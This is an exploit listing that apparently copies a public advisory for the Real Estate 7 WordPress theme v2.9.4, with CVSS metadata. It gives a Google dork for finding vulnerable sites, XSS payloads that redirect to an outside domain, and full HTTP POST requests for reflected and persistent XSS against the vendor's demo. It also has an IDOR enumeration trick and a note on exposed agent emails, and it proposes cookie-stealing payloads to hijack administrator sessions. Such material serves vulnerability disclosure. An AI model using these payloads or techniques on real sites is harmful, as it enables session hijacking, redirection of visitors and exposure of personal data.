Real Estate 7 WordPress v2.9.4 Multiple Vulnerabilities
CVE
Category
Price
Severity
CVE-2021-27948
CWE-79
$500
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2020-01-13
CPE
cpe:cpe:/a:wordpress:real_estate_7:2.9.4
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020010103 Below is a copy:
Real Estate 7 WordPress v2.9.4 Multiple Vulnerabilities # Exploit Title: Real Estate 7 WordPress v2.9.4 Multiple Vulnerabilities
# Google Dork: /wp-content/themes/realestate-7/
# Date: 12/01/2020
# Exploit Author: m0ze
# Vendor Homepage: https://contempothemes.com/
# Software Link: https://themeforest.net/item/wp-pro-real-estate-7-responsive-real-estate-wordpress-theme/12473778
# Version: 2.9.4
# Tested on: Kali Linux
# CVE: -
# CWE: 79, 200, 319
----[]- Info: -[]----
Demo website: https://contempothemes.com/wp-real-estate-7/elementor-demo/
Demo account #1: agent/agent (login/password)
PoC Profile #0: https://contempothemes.com/wp-real-estate-7/minimal-demo/agent/m0ze-m0ze/
PoC Profile #1: https://contempothemes.com/wp-real-estate-7/minimal-demo/agent/agent-demo/
----[]- Reflected XSS: -[]----
Payload Sample: "><img src=x onerror=alert(`m0ze`);window.location=`https://m0ze.ru`;>
PoC: https://contempothemes.com/wp-real-estate-7/elementor-demo/?ct_keyword&ct_city=%22%3E%3Cimg%20src=x%20onerror=alert(`m0ze`);window.location=`https://m0ze.ru`;%3E&ct_state&ct_zipcode&search-listings=true&ct_property_type&ct_ct_status&ct_beds_plus&ct_baths_plus&ct_community&ct_country&ct_mls&ct_rental_guests&ct_price_from&ct_price_to&ct_sqft_from&ct_sqft_to&ct_lotsize_from&ct_lotsize_to&lat&lng
----[]- Persistent XSS -> Agent Profile: -[]----
Possibility to use any cookie stealing payload to hijack user/administrator session or force redirect to malicious website. Vulnerable textarea: Agent Testimonials (checkbox on Show on Agents Page is required).
Payload Sample: <img src=x onerror=alert(`m0ze`);window.location=`https://m0ze.ru`;>
PoC:
POST /wp-real-estate-7/minimal-demo/account-settings/ HTTP/1.1
Host: contempothemes.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------17074317185520
Content-Length: 3843
Origin: https://contempothemes.com
Connection: close
Referer: https://contempothemes.com/wp-real-estate-7/minimal-demo/account-settings/
Cookie: _your_cookies_here_
Upgrade-Insecure-Requests: 1
-----------------------------17074317185520
Content-Disposition: form-data; name="first_name"
Agent
-----------------------------17074317185520
Content-Disposition: form-data; name="last_name"
Demo
-----------------------------17074317185520
Content-Disposition: form-data; name="nickname"
agent
-----------------------------17074317185520
Content-Disposition: form-data; name="display_name"
Agent Demo
-----------------------------17074317185520
Content-Disposition: form-data; name="user_url"
-----------------------------17074317185520
Content-Disposition: form-data; name="description"
-----------------------------17074317185520
Content-Disposition: form-data; name="twitterhandle"
#
-----------------------------17074317185520
Content-Disposition: form-data; name="facebookurl"
#
-----------------------------17074317185520
Content-Disposition: form-data; name="instagramurl"
#
-----------------------------17074317185520
Content-Disposition: form-data; name="linkedinurl"
#
-----------------------------17074317185520
Content-Disposition: form-data; name="youtubeurl"
#
-----------------------------17074317185520
Content-Disposition: form-data; name="isagent"
yes
-----------------------------17074317185520
Content-Disposition: form-data; name="agentorder"
-----------------------------17074317185520
Content-Disposition: form-data; name="MAX_FILE_SIZE"
1024000
-----------------------------17074317185520
Content-Disposition: form-data; name="ct_profile_img"; filename=""
Content-Type: application/octet-stream
-----------------------------17074317185520
Content-Disposition: form-data; name="mobile"
6195556589
-----------------------------17074317185520
Content-Disposition: form-data; name="fax"
6195556588
-----------------------------17074317185520
Content-Disposition: form-data; name="title"
Agent
-----------------------------17074317185520
Content-Disposition: form-data; name="tagline"
Selling the Dream!
-----------------------------17074317185520
Content-Disposition: form-data; name="agentlicense"
123456
-----------------------------17074317185520
Content-Disposition: form-data; name="userTestimonial"
<img src=x onerror=alert(`m0ze`);window.location=`https://m0ze.ru`;>
-----------------------------17074317185520
Content-Disposition: form-data; name="MAX_FILE_SIZE"
1024000
-----------------------------17074317185520
Content-Disposition: form-data; name="ct_broker_logo"; filename=""
Content-Type: application/octet-stream
-----------------------------17074317185520
Content-Disposition: form-data; name="brokeragename"
-----------------------------17074317185520
Content-Disposition: form-data; name="brokeragelicense"
-----------------------------17074317185520
Content-Disposition: form-data; name="office"
6195553698
-----------------------------17074317185520
Content-Disposition: form-data; name="address"
101 Front St, Suite 100
-----------------------------17074317185520
Content-Disposition: form-data; name="city"
San Diego
-----------------------------17074317185520
Content-Disposition: form-data; name="state"
CA
-----------------------------17074317185520
Content-Disposition: form-data; name="postalcode"
92101
-----------------------------17074317185520
Content-Disposition: form-data; name="updateuser"
Update Profile
-----------------------------17074317185520
Content-Disposition: form-data; name="_wpnonce"
b2e5069987
-----------------------------17074317185520
Content-Disposition: form-data; name="_wp_http_referer"
/wp-real-estate-7/minimal-demo/account-settings/
-----------------------------17074317185520
Content-Disposition: form-data; name="action"
update-user
-----------------------------17074317185520--
----[]- Persistent Self-XSS -> Listing Email Alerts: -[]----
It's self-XSS, but still.
Payload Sample: "><img src=x onerror=alert(`m0ze`);window.location=`https://m0ze.ru`;>
PoC:
POST /wp-real-estate-7/minimal-demo/wp-admin/admin-ajax.php HTTP/1.1
Host: contempothemes.com
User-Agent: Mozilla/5.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 294
Origin: https://contempothemes.com
Connection: close
Referer: https://contempothemes.com/wp-real-estate-7/minimal-demo/listing-email-alerts/
Cookie: _your_cookies_here_
ct_property_type=0&ct_ct_status=0&beds=&baths=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(%60m0ze%60)%3Bwindow.location%3D%60https%3A%2F%2Fm0ze.ru%60%3B%3E&pricefrom=&priceto=&ct_city=&ct_state=&zip=&ctea_alert_creation_nounce=3eebf51cdf&action=ct_alert_creation_save&ctea_email=agent%40somedomain.com
----[]- IDOR: -[]----
Parsing this URL https://contempothemes.com/wp-real-estate-7/minimal-demo/?post_type=listings&p=XXXX with 1-4 digits for the p parameter can lead you to some interesting results like this: https://contempothemes.com/wp-real-estate-7/minimal-demo/package_order/ and https://contempothemes.com/wp-real-estate-7/minimal-demo/package_order/order-starter-2019-12-30-182042/ (with package name, order date and unique login/author name as a useful information).
----[]- Information Exposure: -[]----
Each agent profile page contains the Email link as a pop-up form trigger. This form contains hidden input field with agent unique email address, for example:
<input type="hidden" id="ctyouremail" name="ctyouremail" value="[email protected] " />
<input type="hidden" id="ctyouremail" name="ctyouremail" value="[email protected] " />
<input type="hidden" id="ctyouremail" name="ctyouremail" value="[email protected] " />
<input type="hidden" id="ctyouremail" name="ctyouremail" value="[email protected] " />
Same result you can achieve by watching the source code of agent profile page (it's faster if you'll search in code for @ symbol from the bottom).
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